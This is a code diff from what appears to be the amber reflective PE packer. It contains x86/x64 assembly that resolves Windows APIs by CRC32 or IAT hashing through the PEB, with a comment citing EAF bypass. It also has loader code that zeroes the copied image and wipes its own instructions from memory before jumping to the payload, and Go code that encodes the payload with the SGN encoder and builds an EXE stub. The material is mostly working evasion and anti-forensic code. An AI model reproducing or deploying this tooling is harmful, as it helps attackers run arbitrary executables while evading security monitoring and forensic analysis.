|
||||||
; And compare it to the one we want
|
|
||||||
loop_funcname: ;
|
|
||||||
lodsb ; Read in the next byte of the ASCII function name
|
|
||||||
crc32 edi,al ; Calculate CRC32
|
|
||||||
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
|
||||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
|
||||||
cmp edi, [ebp+0x24] ; Compare the hash to the one we are searching for
|
|
||||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
|
||||||
|
|
||||||
; If found, fix up stack, call the function and then value else compute the next one...
|
|
||||||
pop eax ; Restore the current modules EAT
|
|
||||||
mov ebx, [eax+0x24] ; Get the ordinal table rva
|
|
||||||
add ebx, edx ; Add the modules base address
|
|
||||||
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
|
||||||
mov ebx, [eax+0x1C] ; Get the function addresses table rva
|
|
||||||
add ebx, edx ; Add the modules base address
|
|
||||||
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
|
||||||
add eax, edx ; Add the modules base address to get the functions actual VA
|
|
||||||
; We now fix up the stack and perform the call to the desired function...
|
|
||||||
finish:
|
|
||||||
mov [esp+0x24], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
|
||||||
pop ebx ; Clear off the current modules hash
|
|
||||||
pop ebx ; Clear off the current position in the module list
|
|
||||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
|
||||||
pop ecx ; Pop off the origional return address our caller will have pushed
|
|
||||||
pop edx ; Pop off the hash value our caller will have pushed
|
|
||||||
push ecx ; Puh back the return address
|
|
||||||
jmp eax ; Properly call the required function for EAF bypass
|
|
||||||
ret
|
|
||||||
; We now automagically return to the correct caller...
|
|
||||||
|
|
||||||
get_next_mod: ;
|
|
||||||
pop edi ; Pop off the current (now the previous) modules EAT
|
|
||||||
get_next_mod1: ;
|
|
||||||
pop edi ; Pop off the current (now the previous) modules hash
|
|
||||||
pop edx ; Restore our position in the module list
|
|
||||||
mov edx, [edx] ; Get the next module
|
|
||||||
jmp next_mod ; Process this module
|
|
||||||
|
|
||||||
`
|
|
||||||
|
|
||||||
const IAT_API_32 = `
|
|
||||||
|
|
||||||
api_call:
|
|
||||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
|
||||||
xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
|
|
||||||
mov edx,fs:[eax+0x30] ; Get a pointer to the PEB
|
|
||||||
mov edx,[edx+0x0C] ; Get PEB->Ldr
|
|
||||||
mov edx,[edx+0x14] ; Get the first module from the InMemoryOrder module list
|
|
||||||
mov edx,[edx+0x10] ; Get this modules base address
|
|
||||||
push edx ; Save the image base to stack (will use this alot)
|
|
||||||
add edx,[edx+0x3C] ; "PE" Header
|
|
||||||
mov edx,[edx+0x80] ; Import table RVA
|
|
||||||
add edx,[esp] ; Address of Import Table
|
|
||||||
push edx ; Save the &IT to stack (will use this alot)
|
|
||||||
mov esi,[esp+4] ; Move the image base to ESI
|
|
||||||
sub esp,0x08 ; Allocate space for import descriptor counter & hash
|
|
||||||
sub edx,0x14 ; Prepare the import descriptor pointer for processing
|
|
||||||
next_desc:
|
|
||||||
add edx,0x14 ; Get the next import descriptor
|
|
||||||
cmp dword [edx],0x00 ; Check if import descriptor valid
|
|
||||||
jz not_found ; If import name array RVA is zero finish parsing
|
|
||||||
mov esi,[esp+0x08] ; Move the import table address to esi
|
|
||||||
mov si,[edx+0x0C] ; Get pointer to module name string RVA
|
|
||||||
xor edi,edi ; Clear EDI which will store the hash of the module name
|
|
||||||
loop_modname: ;
|
|
||||||
lodsb ; Read in the next byte of the name
|
|
||||||
cmp al,'a' ; Some versions of Windows use lower case module names
|
|
||||||
jl not_lowercase ;
|
|
||||||
sub al, 0x20 ; If so normalise to uppercase
|
|
||||||
not_lowercase: ;
|
|
||||||
crc32 edi,al ; Calculate CRC32 of module name
|
|
||||||
crc32 edi,ah ; Add NULL for unicode effect
|
|
||||||
test al,al ; Check if we read all
|
|
||||||
jnz loop_modname
|
|
||||||
; We now have the module hash computed
|
|
||||||
mov [esp+4],edx ; Save the current position in the module list for later
|
|
||||||
mov [esp],edi ; Save the current module hash for later
|
|
||||||
; Proceed to iterate the export address table,
|
|
||||||
mov ecx,[edx] ; Get the RVA of import names table
|
|
||||||
add ecx,[esp+0x0C] ; Add image base and get address of import names table
|
|
||||||
sub ecx,0x04 ; Go 4 byte back
|
|
||||||
get_next_func:
|
|
||||||
mov edi,dword [esp]
|
|
||||||
; use ecx as our EAT pointer here so we can take advantage of jecxz.
|
|
||||||
add ecx,0x04 ; 4 byte forward
|
|
||||||
cmp dword [ecx],0x00 ; Check if end of INT
|
|
||||||
jz next_desc ; If no INT present, process the next import descriptor
|
|
||||||
mov esi,[ecx] ; Get the RVA of func name hint
|
|
||||||
cmp esi,0x80000000 ; Check if the high order bit is set
|
|
||||||
jns get_next_func ; If not, there is no function name string :(
|
|
||||||
add esi,[esp+0x0C] ; Add the image base and get the address of function hint
|
|
||||||
add dword esi,0x02 ; Move 2 bytes forward to asci function name
|
|
||||||
; now ecx returns to its regularly scheduled counter duties
|
|
||||||
; Computing the module hash + function hash
|
|
||||||
; And compare it to the one we want
|
|
||||||
loop_funcname: ;
|
|
||||||
lodsb ; Read in the next byte of the ASCII function name
|
|
||||||
crc32 edi,al ; Calculate CRC32 of function name
|
|
||||||
test al,al ; Check if AL == 0
|
|
||||||
jnz loop_funcname ; If we have not reached the null terminator, continue
|
|
||||||
cmp edi,[esp+0x34] ; Compare the hash to the one we are searching for
|
|
||||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
|
||||||
; If found, fix up stack, call the function and then value else compute the next one...
|
|
||||||
mov eax,[edx+0x10] ; Get the RVA of current descriptor's IAT
|
|
||||||
mov edx,[edx] ; Get the import names table RVA of current import descriptor
|
|
||||||
add edx,[esp+0x0C] ; Get the address of import names table of current import descriptor
|
|
||||||
sub ecx,edx ; Find the function array index ?
|
|
||||||
add eax,[esp+0x0C] ; Add the image base to current descriptors IAT RVA
|
|
||||||
add eax,ecx ; Add the function index
|
|
||||||
; Now we clean the stack
|
|
||||||
; We now fix up the stack and perform the call to the desired function...
|
|
||||||
finish:
|
|
||||||
mov [esp+0x2C],eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
|
||||||
add esp,0x10 ; Deallocate saved module hash, import descriptor address and import table address
|
|
||||||
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
|
||||||
pop ebx ; Pop off the origional return address our caller will have pushed
|
|
||||||
pop edx ; Pop off the hash value our caller will have pushed
|
|
||||||
push ebx ; Push back the return address
|
|
||||||
mov eax,[eax] ; Get the address of the desired API
|
|
||||||
jmp eax ; Jump to target function
|
|
||||||
; We now automagically return to the correct caller...
|
|
||||||
not_found:
|
|
||||||
add esp,0x0F ; Fix the stack
|
|
||||||
popad ; Restore all registers
|
|
||||||
ret ; Return
|
|
||||||
|
|
||||||
`
|
|
||||||
|
|
||||||
const IAT_API_64 = `
|
|
||||||
|
|
||||||
api_call:
|
|
||||||
push r9 ; Save the 4th parameter
|
|
||||||
push r8 ; Save the 3rd parameter
|
|
||||||
push rdx ; Save the 2nd parameter
|
|
||||||
push rcx ; Save the 1st parameter
|
|
||||||
push rsi ; Save RSI
|
|
||||||
xor rdx,rdx ; Zero rdx
|
|
||||||
mov rdx,gs:[rdx+0x60] ; Get a pointer to the PEB
|
|
||||||
mov rdx,[rdx+0x18] ; Get PEB->Ldr
|
|
||||||
mov rdx,[rdx+0x20] ; Get the first module from the InMemoryOrder module list
|
|
||||||
mov rdx,[rdx+0x20] ; Get this modules base address
|
|
||||||
push rdx ; Save the image base to stack (will use this alot)
|
|
||||||
add dx,word [rdx+0x3C] ; "PE" Header
|
|
||||||
mov edx,dword [rdx+0x90]; Import table RVA
|
|
||||||
add rdx,[rsp] ; Address of Import Table
|
|
||||||
push rdx ; Save the &IT to stack (will use this alot)
|
|
||||||
mov rsi,[rsp+8] ; Move the image base to RSI
|
|
||||||
sub rsp,0x10 ; Allocate space for import descriptor counter & hash
|
|
||||||
sub rdx,0x14 ; Prepare import descriptor pointer for processing
|
|
||||||
next_desc:
|
|
||||||
add rdx,0x14 ; Get the next import descriptor
|
|
||||||
cmp dword [rdx],0 ; Check if import descriptor is valid
|
|
||||||
jz not_found ; If import name array RVA is zero finish parsing
|
|
||||||
mov rsi,[rsp+0x10] ; Move import table address to RSI
|
|
||||||
mov si,[rdx+0xC] ; Get pointer to module name string RVA
|
|
||||||
xor rdi,rdi ; Clear RDI which will store the hash of the module name
|
|
||||||
loop_modname:
|
|
||||||
xor rax,rax ; Clear RAX for calculating the hash
|
|
||||||
lodsb ; Read in the next byte of the name
|
|
||||||
cmp al,'a' ; Some versions of windows use lower case module names
|
|
||||||
jl not_lowercase ;
|
|
||||||
sub al,0x20 ; If so normalize to uppercase
|
|
||||||
not_lowercase:
|
|
||||||
crc32 edi,al ; Calculate CRC32 of module name
|
|
||||||
crc32 edi,ah ; Feed NULL for unicode effect
|
|
||||||
test al,al ; Check if end of the module name
|
|
||||||
jnz loop_modname ;
|
|
||||||
; We now have the module hash computed
|
|
||||||
mov [rsp+8],rdx ; Save the current position in the module listfor later
|
|
||||||
mov [rsp],edi ; Save the current module hash for later
|
|
||||||
; Proceed to itterate the export address table,
|
|
||||||
mov ecx,dword [rdx] ; Get RVA of import names table
|
|
||||||
add rcx,[rsp+0x18] ; Add the image base and get the address of import names table
|
|
||||||
sub rcx,8 ; Go 4 bytes back
|
|
||||||
get_next_func: ;
|
|
||||||
mov rdi,[rsp] ; Reset module hash
|
|
||||||
add rcx,8 ; 8 byte forward
|
|
||||||
cmp dword [rcx],0 ; Check if end of INT
|
|
||||||
jz next_desc ; If no INT present, process the next import descriptor
|
|
||||||
mov esi,dword [rcx] ; Get the RVA of func name hint
|
|
||||||
cmp esi,0x80000000 ; Check if the high order bit is set
|
|
||||||
jns get_next_func ; If not, there is no function name string :(
|
|
||||||
add rsi,[rsp+0x18] ; Add the image base and get the address of function name hint
|
|
||||||
add rsi,2 ; Move 2 bytes forward to asci function name
|
|
||||||
; now ecx returns to its regularly scheduled counter duties
|
|
||||||
; Computing the module hash + function hash
|
|
||||||
; And compare it to the one we want
|
|
||||||
loop_funcname:
|
|
||||||
xor rax,rax ; Clear RAX
|
|
||||||
lodsb ; Read in the next byte of the ASCII function name
|
|
||||||
crc32 edi,al ; Calculate CRC32 of the function name
|
|
||||||
cmp al,ah ; Compare AL (the next byte from the name) to AH (null)
|
|
||||||
jne loop_funcname ; If we have not reached the null terminator, continue
|
|
||||||
cmp edi,r10d ; Compare the hash to the one we are searchnig for
|
|
||||||
jnz get_next_func ; Go compute the next function hash if we have not found it
|
|
||||||
; If found, fix up stack, call the function and then value else compute the next one...
|
|
||||||
mov eax,dword [rdx+0x10]; Get the RVA of current descriptor's IAT
|
|
||||||
mov edx,dword [rdx] ; Get the import names table RVA of current import descriptor
|
|
||||||
add rdx,[rsp+0x18] ; Get the address of import names table of current import descriptor
|
|
||||||
sub rcx,rdx ; Find the function array index ?
|
|
||||||
add rax,[rsp+0x18] ; Add the image base to current descriptors IAT RVA
|
|
||||||
add rax,rcx ; Add the function index
|
|
||||||
; Now clean the stack
|
|
||||||
; We now fix up the stack and perform the call to the drsired function...
|
|
||||||
finish:
|
|
||||||
pop r8 ; Clear off the current modules hash
|
|
||||||
pop r8 ; Clear off the current position in the module list
|
|
||||||
pop r8 ; Clear off the import table address of last module
|
|
||||||
pop r8 ; Clear off the image base address of last module
|
|
||||||
pop rsi ; Restore RSI
|
|
||||||
pop rcx ; Restore the 1st parameter
|
|
||||||
pop rdx ; Restore the 2nd parameter
|
|
||||||
pop r8 ; Restore the 3rd parameter
|
|
||||||
pop r9 ; Restore the 4th parameter
|
|
||||||
pop r10 ; Pop off the return address
|
|
||||||
sub rsp,0x20 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
|
|
||||||
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
|
|
||||||
push r10 ; Push back the return address
|
|
||||||
mov rax,[rax] ; Get the address of the desired API
|
|
||||||
jmp rax ; Jump to target function
|
|
||||||
; We now automagically return to the correct caller...
|
|
||||||
not_found:
|
|
||||||
add rsp,0x48 ; Clean out the stack
|
|
||||||
ret ; Return to caller
|
|
||||||
|
|
||||||
`
|
|
||||||
+1
-1
Submodule loader/IAT_API updated: c242fc7464...0d8659a603
@@ -96,11 +96,22 @@ complete:
|
|||||||
add [rsp],r12 ; Add the address of entry value to new base address
|
add [rsp],r12 ; Add the address of entry value to new base address
|
||||||
memcpy:
|
memcpy:
|
||||||
mov al,[rsi] ; Move 1 byte of PE image to AL register
|
mov al,[rsi] ; Move 1 byte of PE image to AL register
|
||||||
mov [rbx],al ; Move 1 byte of PE image to image base
|
mov byte [rbx],al ; Move 1 byte of PE image to image base
|
||||||
|
mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint)
|
||||||
inc rsi ; Increase PE image index
|
inc rsi ; Increase PE image index
|
||||||
inc rbx ; Increase image base index
|
inc rbx ; Increase image base index
|
||||||
loop memcpy ; Loop until zero
|
loop memcpy ; Loop until zero
|
||||||
ret ; <-
|
jmp PE_start
|
||||||
|
|
||||||
; ========== API ==========
|
; ========== API ==========
|
||||||
%include "CRC32_API/x64_crc32_api.asm"
|
%include "CRC32_API/x64_crc32_api.asm"
|
||||||
|
|
||||||
|
PE_start:
|
||||||
|
mov rcx,wipe ; Get the number of bytes until wipe label
|
||||||
|
lea rax,[rip] ; Get RIP to RAX
|
||||||
|
nop ; Padding
|
||||||
|
wipe:
|
||||||
|
mov byte [rax],0 ; Wipe 1 byte at a time
|
||||||
|
dec rax ; Decraise RAX
|
||||||
|
loop wipe ; Loop until RCX = 0
|
||||||
|
ret ; Return to AOE
|
||||||
@@ -106,12 +106,23 @@ complete:
|
|||||||
pop ecx ; Pop the image_size to ECX
|
pop ecx ; Pop the image_size to ECX
|
||||||
memcpy:
|
memcpy:
|
||||||
mov al,[esi] ; Move 1 byte of PE image to AL register
|
mov al,[esi] ; Move 1 byte of PE image to AL register
|
||||||
mov [edx],al ; Move 1 byte of PE image to image base
|
mov byte [edx],al ; Move 1 byte of PE image to image base
|
||||||
|
mov byte [esi],0 ; Overwrite copied byte (for less memory footprint)
|
||||||
inc esi ; Increase PE image index
|
inc esi ; Increase PE image index
|
||||||
inc edx ; Increase image base index
|
inc edx ; Increase image base index
|
||||||
loop memcpy ; Loop until ECX = 0
|
loop memcpy ; Loop until ECX = 0
|
||||||
PE_Start:
|
jmp PE_start
|
||||||
jmp edi ; Call PE AOE
|
|
||||||
|
|
||||||
; ========== API ==========
|
; ========== API ==========
|
||||||
%include "CRC32_API/x86_crc32_api.asm"
|
%include "CRC32_API/x86_crc32_api.asm"
|
||||||
|
|
||||||
|
PE_start:
|
||||||
|
mov ecx,wipe ; Get the number of bytes until wipe label
|
||||||
|
call wipe_start ; Call wipe_start
|
||||||
|
wipe_start:
|
||||||
|
pop eax ; Get EIP to EAX
|
||||||
|
wipe:
|
||||||
|
mov byte [eax],0 ; Wipe 1 byte at a time
|
||||||
|
dec eax ; Decraise EAX
|
||||||
|
loop wipe ; Loop until ECX = 0
|
||||||
|
ret ; Return to AOE
|
||||||
+15
-4
@@ -136,12 +136,12 @@ complete:
|
|||||||
add r13,r12 ; Add the address of entry value to new base address
|
add r13,r12 ; Add the address of entry value to new base address
|
||||||
memcpy:
|
memcpy:
|
||||||
mov al,[rsi] ; Move 1 byte of PE image to AL register
|
mov al,[rsi] ; Move 1 byte of PE image to AL register
|
||||||
mov [rdi],al ; Move 1 byte of PE image to image base
|
mov byte [rdi],al ; Move 1 byte of PE image to image base
|
||||||
mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint)
|
mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint)
|
||||||
inc rsi ; Increase PE image index
|
inc rsi ; Increase PE image index
|
||||||
inc rdi ; Increase image base index
|
inc rdi ; Increase image base index
|
||||||
loop memcpy ; Loop until zero
|
loop memcpy ; Loop until zero
|
||||||
PE_start:
|
; Flush instruction cache
|
||||||
pop r13 ; Pop the image base to r13
|
pop r13 ; Pop the image base to r13
|
||||||
or rcx,-1 ; hProcess
|
or rcx,-1 ; hProcess
|
||||||
xor rdx,rdx ; lpBaseAddress
|
xor rdx,rdx ; lpBaseAddress
|
||||||
@@ -151,7 +151,18 @@ PE_start:
|
|||||||
call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL);
|
call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL);
|
||||||
xchg rbp,rsp ; Swap shadow stack
|
xchg rbp,rsp ; Swap shadow stack
|
||||||
add r13,r12 ; Add the address of entry value to image base
|
add r13,r12 ; Add the address of entry value to image base
|
||||||
jmp r13 ; Call the AOE
|
jmp PE_start ; Wipe artifacts from memory and start PE
|
||||||
|
|
||||||
; ========== API ==========
|
; ========== API ==========
|
||||||
%include "CRC32_API/x64_crc32_api.asm"
|
%include "CRC32_API/x64_crc32_api.asm"
|
||||||
|
|
||||||
|
PE_start:
|
||||||
|
mov rcx,wipe ; Get the number of bytes until wipe label
|
||||||
|
lea rax,[rip] ; Get RIP to RAX
|
||||||
|
nop ; Padding
|
||||||
|
wipe:
|
||||||
|
mov byte [rax],0 ; Wipe 1 byte at a time
|
||||||
|
dec rax ; Decraise RAX
|
||||||
|
loop wipe ; Loop until RCX = 0
|
||||||
|
jmp r13 ; Call the AOE
|
||||||
|
|
||||||
+15
-4
@@ -142,12 +142,23 @@ complete:
|
|||||||
pop ecx ; Pop the image_size to ECX
|
pop ecx ; Pop the image_size to ECX
|
||||||
memcpy:
|
memcpy:
|
||||||
mov al,[esi] ; Move 1 byte of PE image to AL register
|
mov al,[esi] ; Move 1 byte of PE image to AL register
|
||||||
mov [edx],al ; Move 1 byte of PE image to image base
|
mov byte [edx],al ; Move 1 byte of PE image to image base
|
||||||
|
mov byte [esi],0 ; Overwrite copied byte (for less memory footprint)
|
||||||
inc esi ; Increase PE image index
|
inc esi ; Increase PE image index
|
||||||
inc edx ; Increase image base index
|
inc edx ; Increase image base index
|
||||||
loop memcpy ; Loop until ECX = 0
|
loop memcpy ; Loop until ECX = 0
|
||||||
PE_Start:
|
jmp PE_start
|
||||||
jmp edi ; Call PE AOE
|
|
||||||
|
|
||||||
; ========== API ==========
|
; ========== API ==========
|
||||||
%include "CRC32_API/x86_crc32_api.asm"
|
%include "CRC32_API/x86_crc32_api.asm"
|
||||||
|
|
||||||
|
PE_start:
|
||||||
|
mov ecx,wipe ; Get the number of bytes until wipe label
|
||||||
|
call wipe_start ; Call wipe_start
|
||||||
|
wipe_start:
|
||||||
|
pop eax ; Get EIP to EAX
|
||||||
|
wipe:
|
||||||
|
mov byte [eax],0 ; Wipe 1 byte at a time
|
||||||
|
dec eax ; Decraise EAX
|
||||||
|
loop wipe ; Loop until ECX = 0
|
||||||
|
jmp edi ; Call the AOE
|
||||||
@@ -1,7 +1,6 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
amber "amber/lib"
|
|
||||||
"flag"
|
"flag"
|
||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
@@ -11,92 +10,88 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
amber "github.com/EgeBalci/amber/pkg"
|
||||||
|
sgn "github.com/EgeBalci/sgn/lib"
|
||||||
"github.com/briandowns/spinner"
|
"github.com/briandowns/spinner"
|
||||||
sgn "github.com/egebalci/sgn/lib"
|
|
||||||
"github.com/fatih/color"
|
"github.com/fatih/color"
|
||||||
)
|
)
|
||||||
|
|
||||||
func init() {
|
// Set globals...
|
||||||
runtime.GOMAXPROCS(runtime.NumCPU())
|
var spinr = spinner.New(spinner.CharSets[9], 30*time.Millisecond)
|
||||||
}
|
|
||||||
|
|
||||||
var bp amber.Blueprint
|
|
||||||
var red = color.New(color.FgRed).Add(color.Bold)
|
|
||||||
var blue = color.New(color.FgBlue).Add(color.Bold)
|
|
||||||
var green = color.New(color.FgGreen).Add(color.Bold)
|
|
||||||
var yellow = color.New(color.FgYellow).Add(color.Bold)
|
|
||||||
var spinr = spinner.New(spinner.CharSets[9], 50*time.Millisecond)
|
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
|
|
||||||
banner()
|
banner()
|
||||||
file := flag.String("f", "", "Input PE file")
|
bp := new(amber.Blueprint)
|
||||||
encount := flag.Int("e", 1, "Number of times to encode the binary (increases overall size)")
|
encoder := sgn.NewEncoder()
|
||||||
buildStub := flag.Bool("build", false, "Build EXE stub for executing the reflective payload")
|
|
||||||
iat := flag.Bool("iat", false, "Use IAT API resolver block instead of CRC API resolver")
|
flag.StringVar(&bp.FileName, "f", "", "Input PE file")
|
||||||
ignoreIntegrity := flag.Bool("ignore-checks", false, "Ignore integrity check errors.")
|
flag.BoolVar(&bp.IAT, "iat", false, "Use IAT API resolver block instead of CRC API resolver block")
|
||||||
|
flag.BoolVar(&bp.IgnoreIntegrity, "ignore-checks", false, "Ignore integrity check errors.")
|
||||||
|
flag.StringVar(&bp.CustomStubName, "stub", "", "Use custom stub file (experimental)")
|
||||||
|
flag.IntVar(&encoder.ObfuscationLimit, "max", 5, "Maximum number of bytes for obfuscation")
|
||||||
|
flag.IntVar(&encoder.EncodingCount, "e", 1, "Number of times to encode the generated reflective payload")
|
||||||
|
buildStub := flag.Bool("build", false, "Build EXE stub that executes the generated reflective payload")
|
||||||
|
|
||||||
|
green := color.New(color.FgGreen).Add(color.Bold)
|
||||||
flag.Parse()
|
flag.Parse()
|
||||||
|
|
||||||
if *file == "" {
|
if bp.FileName == "" {
|
||||||
flag.PrintDefaults()
|
flag.PrintDefaults()
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get the absolute path of the file
|
|
||||||
abs, err := filepath.Abs(*file)
|
|
||||||
eror(err)
|
|
||||||
|
|
||||||
spinr.Start()
|
spinr.Start()
|
||||||
status("File: %s\n", abs)
|
status("File: %s\n", bp.FileName)
|
||||||
status("Build Stub: %t\n", *buildStub)
|
status("Build Stub: %t\n", *buildStub)
|
||||||
status("Encode Count: %d\n", *encount)
|
status("Encode Count: %d\n", encoder.EncodingCount)
|
||||||
if bp.IAT {
|
if bp.IAT {
|
||||||
status("API: IAT\n")
|
status("API: IAT\n")
|
||||||
} else {
|
} else {
|
||||||
status("API: CRC\n")
|
status("API: CRC\n")
|
||||||
}
|
}
|
||||||
|
// First analyze PE and generate a blueprint
|
||||||
spinr.Suffix = " Analyzing PE file..."
|
spinr.Suffix = " Analyzing PE file..."
|
||||||
bp, err := amber.Analyze(abs)
|
eror(bp.Analyze())
|
||||||
eror(err)
|
if !bp.HasRelocData {
|
||||||
status("Relocation Data: %t\n", bp.HasRelocData)
|
statusBad("%s has no relocation data.\n", bp.FileName)
|
||||||
bp.EncodeCount = *encount
|
if bp.ImageBase != 0x400000 {
|
||||||
bp.IAT = *iat
|
statusBad("Can't switch to fixed address loader because ImageBase mismatch!\n")
|
||||||
bp.IgnoreIntegrity = *ignoreIntegrity
|
}
|
||||||
|
status("Switching to fixed address loader...\n")
|
||||||
|
}
|
||||||
spinr.Suffix = " Assembling reflective payload..."
|
spinr.Suffix = " Assembling reflective payload..."
|
||||||
payload, err := bp.AssemblePayload()
|
payload, err := bp.AssemblePayload()
|
||||||
eror(err)
|
eror(err)
|
||||||
|
|
||||||
if *encount > 0 {
|
if encoder.EncodingCount > 0 {
|
||||||
spinr.Suffix = " Encoding reflective payload..."
|
spinr.Suffix = " Encoding reflective payload..."
|
||||||
// Create a new SGN encoder
|
|
||||||
encoder := sgn.NewEncoder()
|
|
||||||
encoder.SetArchitecture(bp.Architecture)
|
encoder.SetArchitecture(bp.Architecture)
|
||||||
encoder.EncodingCount = *encount
|
|
||||||
payload, err = encoder.Encode(payload)
|
payload, err = encoder.Encode(payload)
|
||||||
eror(err)
|
eror(err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if !*buildStub {
|
if !*buildStub {
|
||||||
bp.FileName += ".bin"
|
bp.FullFileName += ".bin"
|
||||||
} else {
|
} else {
|
||||||
// Construct EXE stub
|
// Construct EXE stub
|
||||||
spinr.Suffix = " Building EXE stub..."
|
spinr.Suffix = " Building EXE stub..."
|
||||||
payload, err = bp.CompileStub(payload)
|
payload, err = bp.CompileStub(payload)
|
||||||
eror(err)
|
eror(err)
|
||||||
bp.FileName = strings.ReplaceAll(bp.FileName, ".", "_packed.")
|
|
||||||
|
bp.FullFileName = strings.ReplaceAll(bp.FullFileName, filepath.Ext(bp.FullFileName), "_packed.exe")
|
||||||
}
|
}
|
||||||
spinr.Stop()
|
spinr.Stop()
|
||||||
outFile, err := os.Create(bp.FileName)
|
outFile, err := os.Create(bp.FullFileName)
|
||||||
eror(err)
|
eror(err)
|
||||||
outFile.Write(payload)
|
outFile.Write(payload)
|
||||||
defer outFile.Close()
|
defer outFile.Close()
|
||||||
|
|
||||||
finSize, err := amber.GetFileSize(bp.FileName)
|
finSize, err := amber.GetFileSize(bp.FullFileName)
|
||||||
eror(err)
|
eror(err)
|
||||||
status("Final Size: %d bytes\n", finSize)
|
status("Final Size: %d bytes\n", finSize)
|
||||||
green.Println("[✔] Reflective stub generated !\n")
|
status("Build File: %s\n", bp.FileName)
|
||||||
|
green.Println("[✔] Reflective PE generated !")
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -115,18 +110,31 @@ const BANNER string = `
|
|||||||
`
|
`
|
||||||
|
|
||||||
func banner() {
|
func banner() {
|
||||||
|
green := color.New(color.FgGreen).Add(color.Bold)
|
||||||
|
red := color.New(color.FgRed).Add(color.Bold)
|
||||||
|
blue := color.New(color.FgBlue).Add(color.Bold)
|
||||||
red.Printf(BANNER, green.Sprintf("v%s", amber.VERSION), blue.Sprintf("https://github.com/egebalci/amber"))
|
red.Printf(BANNER, green.Sprintf("v%s", amber.VERSION), blue.Sprintf("https://github.com/egebalci/amber"))
|
||||||
}
|
}
|
||||||
|
|
||||||
func status(formatstr string, a ...interface{}) {
|
func status(formatstr string, a ...interface{}) {
|
||||||
if spinr.Active() {
|
if spinr.Active() {
|
||||||
spinr.Stop()
|
spinr.Stop()
|
||||||
status(formatstr, a...)
|
|
||||||
spinr.Start()
|
|
||||||
return
|
|
||||||
}
|
}
|
||||||
|
yellow := color.New(color.FgYellow).Add(color.Bold)
|
||||||
yellow.Print("[*] ")
|
yellow.Print("[*] ")
|
||||||
fmt.Printf(formatstr, a...)
|
fmt.Printf(formatstr, a...)
|
||||||
|
spinr.Start()
|
||||||
|
}
|
||||||
|
|
||||||
|
func statusBad(formatstr string, a ...interface{}) {
|
||||||
|
if spinr.Active() {
|
||||||
|
spinr.Stop()
|
||||||
|
}
|
||||||
|
red := color.New(color.FgRed).Add(color.Bold)
|
||||||
|
white := color.New(color.FgWhite).Add(color.Bold)
|
||||||
|
red.Print("[!] ")
|
||||||
|
white.Printf(formatstr, a...)
|
||||||
|
spinr.Start()
|
||||||
}
|
}
|
||||||
|
|
||||||
func eror(err error) {
|
func eror(err error) {
|
||||||
@@ -134,6 +142,7 @@ func eror(err error) {
|
|||||||
if spinr.Active() {
|
if spinr.Active() {
|
||||||
spinr.Stop()
|
spinr.Stop()
|
||||||
}
|
}
|
||||||
|
red := color.New(color.FgRed).Add(color.Bold)
|
||||||
pc, _, _, ok := runtime.Caller(1)
|
pc, _, _, ok := runtime.Caller(1)
|
||||||
details := runtime.FuncForPC(pc)
|
details := runtime.FuncForPC(pc)
|
||||||
if ok && details != nil {
|
if ok && details != nil {
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package amber
|
package amber
|
||||||
|
|
||||||
import (
|
import (
|
||||||
pe "amber/debug/pe"
|
pe "github.com/EgeBalci/debug/pe"
|
||||||
|
|
||||||
"github.com/EgeBalci/keystone-go"
|
"github.com/EgeBalci/keystone-go"
|
||||||
)
|
)
|
||||||
@@ -14,13 +14,13 @@ const VERSION = "3.0.0"
|
|||||||
type Blueprint struct {
|
type Blueprint struct {
|
||||||
// Parameters...
|
// Parameters...
|
||||||
FileName string
|
FileName string
|
||||||
|
FullFileName string
|
||||||
FileSize int
|
FileSize int
|
||||||
IAT bool
|
IAT bool
|
||||||
Resource bool
|
Resource bool
|
||||||
ScrapePEHeaders bool
|
|
||||||
IgnoreIntegrity bool
|
IgnoreIntegrity bool
|
||||||
EncodeCount int
|
CustomStubName string
|
||||||
|
CustomStub []byte
|
||||||
// PE specs...
|
// PE specs...
|
||||||
Architecture int
|
Architecture int
|
||||||
SizeOfImage uint32
|
SizeOfImage uint32
|
||||||
+114
@@ -0,0 +1,114 @@
|
|||||||
|
package amber
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"io/ioutil"
|
||||||
|
"path/filepath"
|
||||||
|
|
||||||
|
pe "github.com/EgeBalci/debug/pe"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Analyze returns a Blueprint structure for the given PE file name
|
||||||
|
func (bp *Blueprint) Analyze() error {
|
||||||
|
|
||||||
|
abs, err := filepath.Abs(bp.FileName)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
// Set absolute file name
|
||||||
|
bp.FullFileName = abs
|
||||||
|
|
||||||
|
peFile, err := pe.Open(bp.FullFileName)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
bp.file = peFile
|
||||||
|
|
||||||
|
arch, err := getPEfileArchitecture(bp.FullFileName)
|
||||||
|
if err != nil {
|
||||||
|
